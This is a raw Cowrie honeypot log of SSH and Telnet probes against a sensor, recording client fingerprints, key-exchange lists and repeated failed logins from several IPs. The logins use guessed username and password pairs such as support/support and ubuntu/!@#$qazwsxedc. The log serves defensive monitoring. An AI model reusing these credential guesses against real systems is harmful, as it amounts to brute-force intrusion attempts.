.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:12.060108Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09041982","message":"login attempt [user/09041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:12.546605Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a636bd368106","protocol":"ssh","message":"New connection: 195.178.110.218:44228 (159.203.135.109:22) [session: a636bd368106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:12.744889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:12.748917Z","src_ip":"195.178.110.218","session":"a636bd368106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:12.822811Z","src_ip":"195.178.110.218","session":"a636bd368106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:13.046948Z","src_ip":"195.178.110.218","session":"a636bd368106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09021991","message":"login attempt [user/09021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:13.651990Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:14.123540Z","src_ip":"195.178.110.218","session":"a636bd368106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09021985","message":"login attempt [user/09021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:14.757921Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.786941289901733,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:15.448984Z","src_ip":"117.245.135.253","session":"e6491d4094cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"08101984","message":"login attempt [user/08101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:15.863796Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08091981","message":"login attempt [user/08091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:16.978556Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:18.084600Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":42186,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ea032d9d3d","protocol":"ssh","message":"New connection: 27.79.5.10:42186 (10.17.0.5:22) [session: 34ea032d9d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:47.003718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:47.033371Z","src_ip":"27.79.5.10","session":"34ea032d9d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:47.277286Z","src_ip":"27.79.5.10","session":"34ea032d9d3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:48.970976Z","src_ip":"27.79.5.10","session":"34ea032d9d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:50.336701Z","src_ip":"27.79.5.10","session":"34ea032d9d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.247.254","src_port":6572,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22fbfedc4d8","protocol":"telnet","message":"New connection: 184.105.247.254:6572 (10.17.0.5:23) [session: f22fbfedc4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:58.162090Z"}
{"eventid":"cowrie.session.closed","duration":2.075258731842041,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:00.237229Z","src_ip":"184.105.247.254","session":"f22fbfedc4d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":44564,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a52e585e1b2","protocol":"ssh","message":"New connection: 2.57.122.210:44564 (159.203.135.109:22) [session: 5a52e585e1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:14.050748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:14.057546Z","src_ip":"2.57.122.210","session":"5a52e585e1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:14.161313Z","src_ip":"2.57.122.210","session":"5a52e585e1b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$qazwsxedc","message":"login attempt [ubuntu/!@#$qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:14.483189Z","src_ip":"2.57.122.210","session":"5a52e585e1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:15.589545Z","src_ip":"2.57.122.210","session":"5a52e585e1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32049,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee53579a0fee","protocol":"ssh","message":"New connection: 2.57.121.25:32049 (159.203.135.109:22) [session: ee53579a0fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:22.303677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:22.308598Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:22.407806Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":55592,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d95ea656ff1","protocol":"ssh","message":"New connection: 200.225.246.102:55592 (10.17.0.5:22) [session: 4d95ea656ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:22.473212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:22.477075Z","src_ip":"200.225.246.102","session":"4d95ea656ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:22.604381Z","src_ip":"200.225.246.102","session":"4d95ea656ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09041982","message":"login attempt [user/09041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:22.877840Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhang","password":"zhang","message":"login attempt [zhang/zhang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:23.146899Z","src_ip":"200.225.246.102","session":"4d95ea656ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09021991","message":"login attempt [user/09021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:23.979832Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:24.279643Z","src_ip":"200.225.246.102","session":"4d95ea656ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09021985","message":"login attempt [user/09021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:25.081685Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08101984","message":"login attempt [user/08101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:26.182721Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08091981","message":"login attempt [user/08091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:27.284749Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:28.388125Z","src_ip":"2.57.121.25","session":"ee53579a0fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":33304,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d6063280f28","protocol":"ssh","message":"New connection: 27.79.5.10:33304 (10.17.0.5:22) [session: 3d6063280f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:53.340676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:53.346224Z","src_ip":"27.79.5.10","session":"3d6063280f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:53.615138Z","src_ip":"27.79.5.10","session":"3d6063280f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:54.775100Z","src_ip":"27.79.5.10","session":"3d6063280f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:14:56.051718Z","src_ip":"27.79.5.10","session":"3d6063280f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37908,"dst_ip":"159.203.135.109","dst_port":22,"session":"f79918bb0df2","protocol":"ssh","message":"New connection: 162.120.6.20:37908 (159.203.135.109:22) [session: f79918bb0df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:25.286019Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:15:25.359641Z","src_ip":"162.120.6.20","session":"f79918bb0df2","protocol":"ssh"}
